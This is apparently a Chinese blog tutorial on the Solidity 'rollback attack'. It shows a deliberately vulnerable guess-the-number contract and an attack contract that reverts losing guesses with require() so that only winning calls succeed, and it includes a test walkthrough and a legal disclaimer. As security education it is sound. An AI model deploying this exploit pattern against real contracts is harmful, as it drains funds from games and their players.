区块链 智能合约安全 | 回滚攻击

视频教程在我主页简介和专栏里

目录:

智能合约安全

 回滚攻击

  总结

智能合约安全

回滚攻击

回滚攻击的本质是"耍赖" 举一个简单的例子,两个人玩石头剪刀布,输了的给对方10块钱,现在A输了,A说这把不算,重来


放在Solidity中,require()函数会检测其中的条件是否满足,如果不满足则回滚本次交易(或者说取消本次交易)


require()函数的用法有很多,比如你的智能合约是用来赚钱的 别人交易时会将eth发送到你的合约上 require()函数可以用来判断对方是否发送了eth 是否发送了足够的eth


又或者, 你有一个提现函数, 用来将合约中的eth提现到你自己的以太坊账户中 那么这个函数在调用时就要用require()检查是不是管理员发起的提现 如果不检查 那岂不是所有人都可以从你的合约里面提eth了吗


接下来再说耍赖是怎么一回事 我们先来看这样一段代码

复制代码
contract Guess { function guess_number(uint8 number) public payable returns (bool) {
  
   require(msg.value == 1 ether); // 收取 1 eth 的参与费 uint8 num1 = 86; // 这里应该是一个随机数, 但为了方便讲解设置成一个固定值 if (number == num1) { // 如果猜对了 address payable add = payable(msg.sender); add.transfer(10 ether); return true; } else {
  
   return false; } } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 }}

代码是一个猜数字游戏, 每次猜需要发送1eth 如果猜对了就会奖励 10 eth


与重入漏洞类似 如果发起交易的是个人 那么这段代码是没什么问题的 但如果发起交易的是另一个合约呢? 另一个合约可以根据该合约返回的是 true 还是 false,使用 require 去回滚交易(或者说取消交易), 来"耍赖"


接下来展示一下攻击代码

复制代码
contract Attack { Guess guess; constructor(address guess_address) {
  
   guess = Guess(guess_address); } function attack(uint8 number) public {
  
   bool b = guess.guess_number{value:1 ether}(number); require(b == true, "aaa"); } function draw() public payable { // 用来往合约里直接存钱的函数, 方便测试 } fallback() external payable { }}

注意, 这里必须要有 fallback() 函数, 不然合约不能接收转来的 ether 这里的逻辑就是, 传入一个数字去猜数字, 如果猜错了, 对方返回false 那么近通过require函数去回滚交易

接下来就是测试 当部署好之后 向两个合约里都先存点 eth


然后先输入一个错误的数字, 调用攻击合约中的 attack 方法

如图可以看到抛出了我们猜错数字抛出的异常, 我们的 ether 也没有减少

那么输入正确的数字再次尝试

可以看到, 交易正常被确认, 我们也拿到了猜对数字的奖励


总结

在智能合约上去玩这些至少目前是不可能的, 首先区块链上无法生成真随机数, 伪随机数是完全可以被预测的, 而就算不去推演这个伪随机数, 也可以通过回滚攻击的方式去耍赖. 另外提一下, 如果目标合约不返回true, false这些, 也可以根据检查本合约的以太币是否增加来判断是否回滚交易.

视频教程在我主页简介和专栏里

申明:本账号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关
相关推荐
土星云SaturnCloud5 分钟前
土星云AI边缘计算-算法运行环境搭建:Docker部署全流程实操
服务器·人工智能·docker·ai·边缘计算
AI人工智能+电脑小能手16 分钟前
【大白话说Java面试题 第67题】【JVM篇】第27题:生产环境服务器变慢,诊断思路和性能评估谈谈?
java·服务器·jvm·面试
It's Q16 分钟前
Hive序列函数&&排名函数
数据仓库·hive·hadoop
Irene199116 分钟前
外部表(EXTERNAL_TABLE)Hive 借用数据,删表不删数据
hive·内部表·外部表
曾阿伦20 分钟前
Linux 系统资源查看命令大全
linux·运维·服务器
qq_4017004122 分钟前
TCP 多客户端与服务器通信程序
运维·服务器
量子罐头23 分钟前
国产鲲鹏服务器适配:光润通 100GbE 网卡性能实测报告
运维·服务器
WPF工业上位机24 分钟前
匠心研智造-上位机硬件通讯之Modbus 服务器
运维·服务器
Harm灬小海24 分钟前
【云计算学习之路】学习Centos7系统:Linux进程管理
linux·运维·服务器·学习·云计算
赋创小助手24 分钟前
AMD EPYC 8005系列发布:面向高密度单路服务器市场的新补充
运维·服务器